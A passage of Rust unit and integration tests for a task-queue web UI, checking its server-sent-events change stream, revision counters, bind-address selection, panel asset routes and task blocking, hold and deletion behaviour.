22905        // event at all).
22906        assert!(
22907            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
22908            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22909             hashchange event that may never fire"
22910        );
22911    }
22912
22913    #[tokio::test]
22914    async fn the_change_stream_announces_the_current_revisions_on_connect() {
22915        let f = Fixture::start().await;
22916
22917        let mut socket = tokio::net::TcpStream::connect(f.addr)
22918            .await
22919            .expect("connect");
22920        socket
22921            .write_all(
22922                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22923            )
22924            .await
22925            .expect("write request");
22926
22927        // Read until the first event arrives rather than to end of stream: the
22928        // stream is endless by design, which is the point of the route.
22929        let mut seen = String::new();
22930        let mut buf = [0u8; 1024];
22931        while !seen.contains("event: change") {
22932            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22933                .await
22934                .expect("the stream must speak within five seconds")
22935                .expect("read");
22936            assert!(read > 0, "the server closed the change stream: {seen}");
22937            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
22938        }
22939
22940        assert!(
22941            seen.to_lowercase()
22942                .contains("content-type: text/event-stream"),
22943            "the browser only reconnects automatically for a real SSE stream: {seen}"
22944        );
22945        let data = seen
22946            .lines()
22947            .find_map(|l| l.strip_prefix("data:"))
22948            .expect("a data line");
22949        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
22950        assert!(
22951            payload["queue_rev"].is_u64()
22952                && payload["runs_rev"].is_u64()
22953                && payload["questions_rev"].is_u64()
22954                && payload["talks_rev"].is_u64()
22955                && payload["notifications_rev"].is_u64()
22956                && payload["loop_rev"].is_u64(),
22957            "the client needs one revision per store to know what to refetch, \
22958             and `talks_rev` is the only notification a standing talk gets - a \
22959             phone whose radio slept through a turn learns about it here, as \
22960             does one whose operator started the loop from another device: \
22961             {payload}"
22962        );
22963
22964        // The front end re-polls health on a timer and on wake, and takes the
22965        // revisions from that answer whenever the stream is not up. So health
22966        // has to carry every key the stream carries: a phone on a link that
22967        // will not hold an SSE connection is exactly the phone that must still
22968        // notice a question, and a missing key there is not a 500 but a UI
22969        // that quietly stops updating.
22970        let health = f.get("/api/health").await.json();
22971        for key in [
22972            "queue_rev",
22973            "runs_rev",
22974            "questions_rev",
22975            "talks_rev",
22976            "notifications_rev",
22977            "loop_rev",
22978        ] {
22979            assert!(
22980                health[key].is_u64(),
22981                "health is the change stream's fallback and is missing `{key}`: {health}"
22982            );
22983        }
22984    }
22985
22986    #[tokio::test]
22987    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
22988        let home = TempDir::new().expect("temp home");
22989        let ui = delta_test_ui(home.path());
22990        let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
22991        // Establish the existing conversation's baseline before appending.
22992        // Wait on the stream's shared notification rather than repeatedly
22993        // rebuilding health (config, process and disk observations included).
22994        let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
22995        let mut changes = ui.monitor.broadcaster.subscribe();
22996        let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
22997        on_disk.turns.push(crate::talk::Turn {
22998            sender: None,
22999            breaks: Some(Vec::new()),
23000            messages: Vec::new(),
23001            posted_by: None,
23002            who: crate::talk::Who::Operator,
23003            body: "a new turn".to_owned(),
23004            at: Timestamp::now(),
23005            attachments: Vec::new(),
23006            usage: None,
23007        });
23008        ui.talks.put(&mut on_disk).expect("record a turn");
23009
23010        let after = tokio::time::timeout(Duration::from_secs(5), async {
23011            loop {
23012                let change = changes.recv().await.expect("monitor notification");
23013                let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
23014                if revision != before {
23015                    assert_eq!(
23016                        change.payload["talks_delta"]["changed"],
23017                        serde_json::json!([talk])
23018                    );
23019                    break revision;
23020                }
23021            }
23022        })
23023        .await
23024        .expect("shared monitor observes external turn");
23025        assert_ne!(
23026            before, after,
23027            "a phone must be able to notice a talk's reply without polling every store"
23028        );
23029        let Json(observed) = health(State(ui)).await.expect("health");
23030        assert_eq!(
23031            observed.talks_rev, after,
23032            "health exposes the same revision"
23033        );
23034    }
23035
23036    #[test]
23037    fn bind_reads_back_from_the_spelling_the_cli_prints() {
23038        // The CLI shows the default in `--help` and parses whatever comes
23039        // back, so the two directions have to agree or `--bind auto` breaks
23040        // the moment someone copies the help text.
23041        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
23042            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
23043        }
23044        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
23045        assert!("everywhere".parse::<Bind>().is_err());
23046    }
23047
23048    #[test]
23049    fn an_explicit_bind_address_is_taken_verbatim() {
23050        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
23051
23052        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
23053
23054        assert_eq!(addr, asked);
23055        assert!(
23056            warning.is_none(),
23057            "an operator who named an address gets no lecture"
23058        );
23059    }
23060
23061    #[test]
23062    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
23063        let (addr, warning) = resolve_bind(&Bind::Auto);
23064
23065        // This has to hold on a CI runner with no `tailscale` and on a dev box
23066        // with one, so the invariant asserted is the one shared by both
23067        // outcomes: the address is either a real tailnet address offered
23068        // without comment, or loopback with an explanation. What must never
23069        // happen is a silent fallback - an operator told "listening on
23070        // 127.0.0.1" with no reason would go looking for a firewall.
23071        match addr {
23072            IpAddr::V4(ip) if is_tailnet(&ip) => {
23073                assert!(warning.is_none(), "a tailnet address needs no warning");
23074            }
23075            other => {
23076                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
23077                let warning = warning.expect("a fallback has to explain itself");
23078                assert!(
23079                    warning.contains("127.0.0.1") && warning.contains("local-only"),
23080                    "the warning says what happened and what it costs: {warning}"
23081                );
23082            }
23083        }
23084    }
23085
23086    #[test]
23087    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
23088        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
23089        // boundary cases are what stop us binding to some other tool's idea of
23090        // an address.
23091        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
23092        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
23093        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
23094        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
23095        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
23096    }
23097
23098    #[test]
23099    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
23100        let ids = vec![
23101            "20260902-140501-aaaa".to_owned(),
23102            "20260902-140502-aabb".to_owned(),
23103        ];
23104
23105        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
23106        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
23107        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
23108
23109        assert_eq!(missing.status, StatusCode::NOT_FOUND);
23110        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
23111        assert_eq!(short, "20260902-140502-aabb");
23112    }
23113    #[tokio::test]
23114    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
23115        // The prompt tells agents to reference attachments by bare filename.
23116        // A document served at `.../panel` resolves `shot.png` against its own
23117        // directory, i.e. `.../shot.png`, which is not the asset route - so a
23118        // panel written exactly as instructed showed broken images. Caught by
23119        // looking at a real one in a browser, not by reading the code.
23120        let fx = Fixture::start().await;
23121        let id = panel(
23122            &fx,
23123            "<img src=\"shot.png\">",
23124            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
23125        );
23126
23127        // The frame's own URL ends in a filename, so its siblings are reachable.
23128        let doc = fx
23129            .get(&format!("/api/questions/{id}/panel/index.html"))
23130            .await;
23131        assert_eq!(doc.status, 200, "{}", doc.body);
23132        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
23133
23134        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
23135        assert_eq!(sibling.status, 200, "{}", sibling.body);
23136        assert_eq!(sibling.header("content-type"), Some("image/png"));
23137        assert_eq!(
23138            sibling.header("content-security-policy"),
23139            Some(PANEL_CSP),
23140            "the sibling route must carry the same policy as the asset route"
23141        );
23142
23143        // The original spelling keeps working: HEAD on it is how the front end
23144        // decides whether to mount a frame at all.
23145        assert_eq!(
23146            fx.head(&format!("/api/questions/{id}/panel")).await.status,
23147            200
23148        );
23149    }
23150
23151    #[test]
23152    fn delta_stamps_cover_add_update_remove_and_noop() {
23153        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
23154        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
23155        let delta = diff_stamps(&before, &after, 42);
23156        assert_eq!(delta.base, 42);
23157        assert_eq!(delta.changed, ["b", "c"]);
23158        assert_eq!(delta.removed, ["a"]);
23159        let same = diff_stamps(&after, &after, 43);
23160        assert!(same.changed.is_empty() && same.removed.is_empty());
23161        assert_ne!(stamps_revision(&before), stamps_revision(&after));
23162        let nanos: Stamps = [("b".into(), (2, 20))].into();
23163        let same_ms: Stamps = [("b".into(), (3, 20))].into();
23164        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
23165        assert_eq!(stamps_revision(&Stamps::new()), 0);
23166    }
23167
23168    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
23169        std::fs::create_dir_all(home.join("runs")).unwrap();
23170        Arc::new(
23171            Ui::new(
23172                Queue::at(home.join("queue")),
23173                Questions::at(home.join("questions")),
23174                Talks::at(home.join("talks")),
23175                home.join("runs"),
23176                home.to_owned(),
23177                PathBuf::from("/repo/magi"),
23178            )
23179            .with_worktrees_root(home.join("wt")),
23180        )
23181    }
23182
23183    #[test]
23184    fn monitor_scan_isolates_store_failures_and_recovers() {
23185        let home = TempDir::new().unwrap();
23186        let ui = delta_test_ui(home.path());
23187        std::fs::create_dir_all(ui.questions.root()).unwrap();
23188        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
23189        let before = monitor_scan(&ui, None);
23190        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
23191        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23192        std::fs::create_dir_all(ui.talks.root()).unwrap();
23193        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
23194        let during = monitor_scan(&ui, Some(before.clone()));
23195        assert_eq!(during.0.2, before.0.2);
23196        assert_ne!(during.0.3, before.0.3);
23197        assert!(during.1[2].contains_key("new"));
23198        std::fs::remove_file(ui.questions.root()).unwrap();
23199        let after = monitor_scan(&ui, Some(during));
23200        assert_eq!(after.0.2, 0);
23201        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
23202        // A failed first scan also permits healthy stores to publish.
23203        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23204        assert_ne!(monitor_scan(&ui, None).0.3, after.0.3);
23205    }
23206
23207    #[test]
23208    fn chat_status_cached_inventory_invalidates_on_store_failure_and_recovery() {
23209        let home = TempDir::new().unwrap();
23210        let ui = delta_test_ui(home.path());
23211        let root = ui.queue.root();
23212        std::fs::create_dir_all(root).unwrap();
23213        let before = monitor_scan(&ui, None);
23214        *ui.monitor.latest.lock().unwrap() = Some(before.clone());
23215        let status = || {
23216            chat_inventory(&ui)
23217                .status_of("chat", true, crate::chat_status::Goals::default(), false)
23218                .kind
23219        };
23220        assert_eq!(status(), crate::chat_status::Kind::Idle);
23221        std::fs::remove_dir(root).unwrap();
23222        std::fs::write(root, "not a directory").unwrap();
23223        let failed = monitor_scan(&ui, Some(before.clone()));
23224        assert_ne!(failed.0.3, before.0.3);
23225        *ui.monitor.latest.lock().unwrap() = Some(failed.clone());
23226        assert_eq!(status(), crate::chat_status::Kind::Unknown);
23227        std::fs::remove_file(root).unwrap();
23228        std::fs::create_dir(root).unwrap();
23229        let recovered = monitor_scan(&ui, Some(failed));
23230        *ui.monitor.latest.lock().unwrap() = Some(recovered);
23231        assert_eq!(status(), crate::chat_status::Kind::Idle);
23232    }
23233
23234    #[tokio::test]
23235    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
23236        let home = TempDir::new().unwrap();
23237        let ui = delta_test_ui(home.path());
23238        let mut task = Task::new(
23239            "stream task".into(),
23240            "text".into(),
23241            PathBuf::from("/repo"),
23242            Source::Human,
23243        );
23244        ui.queue.put(&mut task).unwrap();
23245        let response = events(State(ui.clone())).await.into_response();
23246        let mut stream = response.into_body().into_data_stream();
23247        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
23248            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
23249                .await
23250                .unwrap()
23251                .unwrap()
23252                .unwrap();
23253            let text = String::from_utf8(chunk.to_vec()).unwrap();
23254            let data = text
23255                .lines()
23256                .find_map(|line| {
23257                    line.strip_prefix("data: ")
23258                        .or_else(|| line.strip_prefix("data:"))
23259                })
23260                .unwrap();
23261            serde_json::from_str(data).unwrap()
23262        }
23263        let initial = change(&mut stream).await;
23264        assert!(initial.get("queue_delta").is_none());
23265        task.instruction.push_str(" changed");
23266        ui.queue.put(&mut task).unwrap();
23267        let updated = change(&mut stream).await;
23268        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
23269        assert_eq!(
23270            updated["queue_delta"]["changed"],
23271            serde_json::json!([task.id])
23272        );
23273        assert_eq!(
23274            updated["queue_rev"].as_u64(),
23275            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
23276        );
23277        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23278        let removed = change(&mut stream).await;
23279        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
23280        assert_eq!(
23281            removed["queue_delta"]["removed"],
23282            serde_json::json!([task.id])
23283        );
23284    }
23285
23286    #[tokio::test]
23287    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
23288        let home = TempDir::new().unwrap();
23289        let ui = delta_test_ui(home.path());
23290        let queue = ui.queue.clone();
23291        let query = |ids: Option<&str>| {
23292            Query(ListQuery {
23293                limit: Some(2),
23294                ids: ids.map(str::to_owned),
23295            })
23296        };
23297        let mut root = Task::new(
23298            "root".into(),
23299            "instruction".into(),
23300            PathBuf::from("/repo"),
23301            Source::Human,
23302        );
23303        queue.put(&mut root).unwrap();
23304        let mut blocked = Task::new(
23305            "blocked".into(),
23306            "instruction".into(),
23307            PathBuf::from("/repo"),
23308            Source::Human,
23309        );
23310        blocked.block(vec![root.id.clone()], None);
23311        queue.put(&mut blocked).unwrap();
23312        let whole =
23313            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
23314                .unwrap();
23315        let subset = serde_json::to_value(
23316            queue_list(State(ui.clone()), query(Some(&root.id)))
23317                .await
23318                .unwrap()
23319                .0,
23320        )
23321        .unwrap();
23322        assert_eq!(whole, subset, "requested root plus its blocked dependent");
23323        let blockers = serde_json::to_value(
23324            queue_list(State(ui.clone()), query(Some("")))
23325                .await
23326                .unwrap()
23327                .0,
23328        )
23329        .unwrap();
23330        assert_eq!(blockers.as_array().unwrap().len(), 1);
23331        assert_eq!(blockers[0]["id"], blocked.id);
23332        assert_eq!(
23333            blockers[0]["waits_on"],
23334            whole
23335                .as_array()
23336                .unwrap()
23337                .iter()
23338                .find(|row| row["id"] == blocked.id)
23339                .unwrap()["waits_on"]
23340        );
23341
23342        for id in [
23343            "20260902-140501-aaaa",
23344            "20260902-140502-bbbb",
23345            "20260902-140503-cccc",
23346        ] {
23347            write_run(&ui.runs, id, RunStatus::Merged);
23348        }
23349        let old = serde_json::to_value(
23350            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
23351                .await
23352                .unwrap()
23353                .0,
23354        )
23355        .unwrap();
23356        assert!(
23357            old.as_array().unwrap().is_empty(),
23358            "older updates must not enter the window"
23359        );
23360        let newest = serde_json::to_value(
23361            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
23362                .await
23363                .unwrap()
23364                .0,
23365        )
23366        .unwrap();
23367        assert_eq!(newest.as_array().unwrap().len(), 1);
23368        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
23369
23370        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
23371        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
23372        let talks = serde_json::to_value(
23373            talks_list(
23374                State(ui.clone()),
23375                query(Some("20260905-000000-d4e5")),
23376                header::HeaderMap::new(),
23377            )
23378            .await
23379            .unwrap()
23380            .0,
23381        )
23382        .unwrap();
23383        assert_eq!(talks.as_array().unwrap().len(), 1);
23384        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
23385        assert_eq!(
23386            serde_json::to_value(
23387                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
23388                    .await
23389                    .unwrap()
23390                    .0
23391            )
23392            .unwrap(),
23393            serde_json::json!([])
23394        );
23395    }
23396
23397    #[tokio::test]
23398    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
23399    async fn delta_payload_benchmark() {
23400        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
23401        let ui = delta_test_ui(&home);
23402        let query = |ids: Option<String>| {
23403            Query(ListQuery {
23404                limit: Some(50),
23405                ids,
23406            })
23407        };
23408        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
23409        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
23410        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
23411            .await
23412            .unwrap()
23413            .0;
23414        let queue_id = queue
23415            .iter()
23416            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
23417            .unwrap_or(&queue[0])
23418            .task
23419            .id
23420            .clone();
23421        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
23422            .await
23423            .unwrap()
23424            .0;
23425        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
23426            .await
23427            .unwrap()
23428            .0;
23429        let talks_delta = talks_list(
23430            State(ui.clone()),
23431            query(Some(talks[0].id.clone())),
23432            header::HeaderMap::new(),
23433        )
23434        .await
23435        .unwrap()
23436        .0;
23437        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
23438        eprintln!(
23439            "DELTA_PAYLOAD {}",
23440            serde_json::json!({
23441                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
23442                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
23443                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
23444                "counts": [queue.len(), runs.len(), talks.len()],
23445                "blocked": queue_delta.len() - 1,
23446            })
23447        );
23448    }
23449
23450    #[test]
23451    fn runs_revision_moves_when_deleting_an_older_run() {
23452        let temp = TempDir::new().expect("tempdir");
23453        let runs = temp.path().join("runs");
23454        std::fs::create_dir_all(&runs).expect("create runs dir");
23455
23456        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
23457
23458        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
23459        std::thread::sleep(Duration::from_millis(10));
23460        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
23461
23462        let rev_before = runs_revision(&runs);
23463        assert!(rev_before > 0);
23464
23465        let old_dir = runs.join("20260901-100000-old1");
23466        std::fs::remove_dir_all(&old_dir).expect("remove old run");
23467
23468        let rev_after = runs_revision(&runs);
23469        assert_ne!(
23470            rev_before, rev_after,
23471            "deleting an older run must change the revision so other clients see the deletion"
23472        );
23473    }
23474
23475    /// A run's own `run.json` on an explicit `runs` root, bypassing the
23476    /// process-global home entirely — `RunState::save` writes through
23477    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
23478    /// (see `tests::home_lock` in the integration suite for why).
23479    fn write_state(runs: &FsPath, state: &RunState) {
23480        let dir = runs.join(&state.id);
23481        std::fs::create_dir_all(&dir).expect("run dir");
23482        std::fs::write(
23483            dir.join("run.json"),
23484            serde_json::to_string_pretty(state).expect("serialize run"),
23485        )
23486        .expect("write run.json");
23487    }
23488
23489    /// A seat starting or finishing is a write to `run.json` like any other,
23490    /// so it moves the same revision the change stream already watches —
23491    /// nothing new for `/api/events` to learn, but the property this feature
23492    /// depends on to reach the phone without a poll.
23493    #[test]
23494    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
23495        let temp = TempDir::new().expect("tempdir");
23496        let runs = temp.path().join("runs");
23497        std::fs::create_dir_all(&runs).expect("create runs dir");
23498        let mut state = RunState::new(
23499            PathBuf::from("/repo/magi"),
23500            "main".to_owned(),
23501            "0123456789abcdef".to_owned(),
23502            "task".to_owned(),
23503            Config::default(),
23504        );
23505        state.id = "20260902-100000-c0de".to_owned();
23506        write_state(&runs, &state);
23507
23508        let rev_idle = runs_revision(&runs);
23509        std::thread::sleep(Duration::from_millis(10));
23510        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
23511        write_state(&runs, &state);
23512        let rev_started = runs_revision(&runs);
23513        assert_ne!(
23514            rev_idle, rev_started,
23515            "a seat starting must move the revision"
23516        );
23517
23518        std::thread::sleep(Duration::from_millis(10));
23519        state.seat_finished("judge-1");
23520        write_state(&runs, &state);
23521        let rev_finished = runs_revision(&runs);
23522        assert_ne!(
23523            rev_started, rev_finished,
23524            "and clearing it again must move the revision a second time"
23525        );
23526    }
23527
23528    #[tokio::test]
23529    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
23530        // `TaskView` flattens `Task`, so this is really asserting that
23531        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
23532        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
23533        // never touched web.rs, so nothing here caught it if it had.
23534        let fx = Fixture::start().await;
23535        let q = fx.queue();
23536
23537        let mut t = Task::new(
23538            "Task".to_owned(),
23539            "Instruction".to_owned(),
23540            PathBuf::from("/repo"),
23541            Source::Human,
23542        );
23543        t.block(
23544            vec!["20260101-000000-dead".to_owned()],
23545            Some("waiting on Task 1".to_owned()),
23546        );
23547        t.answers.push(crate::queue::AnsweredQuestion {
23548            question: "Which backend?".to_owned(),
23549            answer: "SQLite".to_owned(),
23550        });
23551        q.put(&mut t).expect("put t");
23552
23553        let res = fx.get("/api/queue").await;
23554        assert_eq!(res.status, 200);
23555        let list = res.json();
23556        let view = list
23557            .as_array()
23558            .expect("array")
23559            .iter()
23560            .find(|v| v["id"] == t.id)
23561            .expect("task in list");
23562        assert_eq!(view["status_str"], "blocked");
23563        assert_eq!(
23564            view["blocked_by"],
23565            serde_json::json!(["20260101-000000-dead"])
23566        );
23567        assert_eq!(view["block_reason"], "waiting on Task 1");
23568        assert_eq!(view["answers"][0]["question"], "Which backend?");
23569        assert_eq!(view["answers"][0]["answer"], "SQLite");
23570
23571        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
23572        // but never `answers` - that is a settled decision, not state
23573        // describing the current block, so it survives.
23574        let res = fx
23575            .post(&format!("/api/queue/{}/hold", t.short()), None)
23576            .await;
23577        assert_eq!(res.status, 200);
23578        let held = res.json();
23579        assert_eq!(held["status_str"], "held");
23580        assert_eq!(held["blocked_by"], serde_json::json!([]));
23581        assert!(held["block_reason"].is_null());
23582        assert_eq!(held["answers"][0]["answer"], "SQLite");
23583    }
23584
23585    #[tokio::test]
23586    async fn task_recovery_pending_decisions_block_disk_autoresume() {
23587        let fx = Fixture::start().await;
23588        let queue = fx.queue();
23589        let questions = fx.questions();
23590        let mut task = Task::new(
23591            "Disk recovery".into(),
23592            "Inspect".into(),
23593            PathBuf::from("/repo"),
23594            Source::Human,
23595        );
23596        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
23597        task.mark_disk_capacity();
23598        queue.put(&mut task).unwrap();
23599        let mut records = Vec::new();
23600        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
23601            let mut q = Question::new(
23602                task.id.clone(),
23603                node.into(),
23604                "triage".into(),
23605                "Resume recovery?".into(),
23606                String::new(),
23607                vec![],
23608            );
23609            q.routed_task = Some(task.id.clone());
23610            questions.put(&mut q).unwrap();
23611            records.push(q);
23612        }
23613        let url = format!("/api/queue/{}", task.id);
23614        let view = fx.get(&url).await.json();
23615        assert_eq!(view["status_str"], "held");
23616        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23617        assert!(
23618            view["recovery"]
23619                .as_str()
23620                .unwrap()
23621                .contains("Disk recovery alone will not resume")
23622        );
23623        assert!(
23624            view["recovery"]
23625                .as_str()
23626                .unwrap()
23627                .contains("Disk wait (automatically monitored)")
23628        );
23629        for blocker in view["blockers"].as_array().unwrap() {
23630            assert!(blocker["destination"].is_null());
23631            assert!(
23632                blocker["next"]
23633                    .as_str()
23634                    .unwrap()
23635                    .contains("pending delivery")
23636            );
23637        }
23638        for q in &mut records {
23639            q.routed_chat = Some("owning-chat".into());
23640            questions.put(q).unwrap();
23641        }
23642        let view = fx.get(&url).await.json();
23643        for blocker in view["blockers"].as_array().unwrap() {
23644            assert_eq!(
23645                blocker["destination"],
23646                serde_json::json!(["chat", "owning-chat"])
23647            );
23648            assert_eq!(blocker["resolves_itself"], false);
23649        }
23650        // Answered routed decisions can still be awaiting task-chat application.
23651        for q in &mut records {
23652            q.status = ask::QuestionStatus::Answered;
23653            questions.put(q).unwrap();
23654        }
23655        assert!(crate::triage::pending_for(&questions, &task));
23656        let view = fx.get(&url).await.json();
23657        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23658        assert!(
23659            view["blockers"][0]["next"]
23660                .as_str()
23661                .unwrap()
23662                .contains("not yet applied")
23663        );
23664        for q in &records {
23665            task.mark_triage_applied(&q.id);
23666        }
23667        queue.put(&mut task).unwrap();
23668        assert!(!crate::triage::pending_for(&questions, &task));
23669        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
23670        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
23671    }
23672
23673    #[test]
23674    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
23675        use crate::queue::HoldSource;
23676        let mut task = Task::new(
23677            "Recovery".into(),
23678            "Inspect".into(),
23679            PathBuf::from("/repo"),
23680            Source::Human,
23681        );
23682        assert!(task_recovery(&task).is_none());
23683        task.hold_manual(Some("Operator paused".into()));
23684        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
23685        task.block(vec!["dependency".into()], Some("Decision needed".into()));
23686        let text = task_recovery(&task).unwrap();
23687        assert!(text.contains("restores held"));
23688        assert!(text.contains("clears its dependency references"));
23689        task.hold_source = Some(HoldSource::Machine);
23690        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
23691        task.mark_disk_capacity();
23692        let view = TaskView::with_inventory(
23693            task.clone(),
23694            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
23695        );
23696        let json = serde_json::to_value(view).unwrap();
23697        assert_eq!(json["block_reason"], "Decision needed");
23698        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
23699        let recovery = json["recovery"].as_str().unwrap();
23700        assert!(recovery.contains("not current capacity"));
23701        assert!(recovery.contains("triage rechecks"));
23702        assert_eq!(json["blockers"][0]["state"], "missing");
23703        task.blocked_from = Some(TaskStatus::Queued);
23704        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
23705        task.blocked_from = None;
23706        assert!(task_recovery(&task).unwrap().contains("restores held"));
23707    }
23708
23709    #[tokio::test]
23710    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
23711        let fx = Fixture::start().await;
23712        let q = fx.queue();
23713        let mk = |title: &str| {
23714            Task::new(
23715                title.to_owned(),
23716                "Instruction".to_owned(),
23717                PathBuf::from("/repo"),
23718                Source::Human,
23719            )
23720        };
23721        let mut root = mk("root");
23722        root.hold_manual(Some("waiting".to_owned()));
23723        q.put(&mut root).unwrap();
23724        let mut mid = mk("mid");
23725        mid.block(vec![root.id.clone()], None);
23726        q.put(&mut mid).unwrap();
23727        let mut leaf = mk("leaf");
23728        leaf.block(vec![mid.id.clone()], None);
23729        q.put(&mut leaf).unwrap();
23730
23731        let list = fx.get("/api/queue").await.json();
23732        let find = |id: &str| {
23733            list.as_array()
23734                .unwrap()
23735                .iter()
23736                .find(|v| v["id"] == id)
23737                .unwrap()
23738                .clone()
23739        };
23740        let leaf_view = find(&leaf.id);
23741        assert_eq!(
23742            leaf_view["waits_on"],
23743            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
23744        );
23745        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
23746        assert_eq!(
23747            find(&mid.id)["waits_on"],
23748            serde_json::json!([format!("{} (held)", root.short())])
23749        );
23750        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
23751    }
23752
23753    #[tokio::test]
23754    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
23755        let fx = Fixture::start().await;
23756        let q = fx.queue();
23757
23758        // 1. A queued task with runs attached can be deleted.
23759        let mut t1 = Task::new(
23760            "Task 1".to_owned(),
23761            "Instruction 1".to_owned(),
23762            PathBuf::from("/repo"),
23763            Source::Human,
23764        );
23765        let run_id = "20260901-000000-r111";
23766        t1.runs.push(run_id.to_owned());
23767        write_run(&fx.runs(), run_id, RunStatus::Merged);
23768        q.put(&mut t1).expect("put t1");
23769
23770        // Delete by short id
23771        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
23772        assert_eq!(res.status, 204);
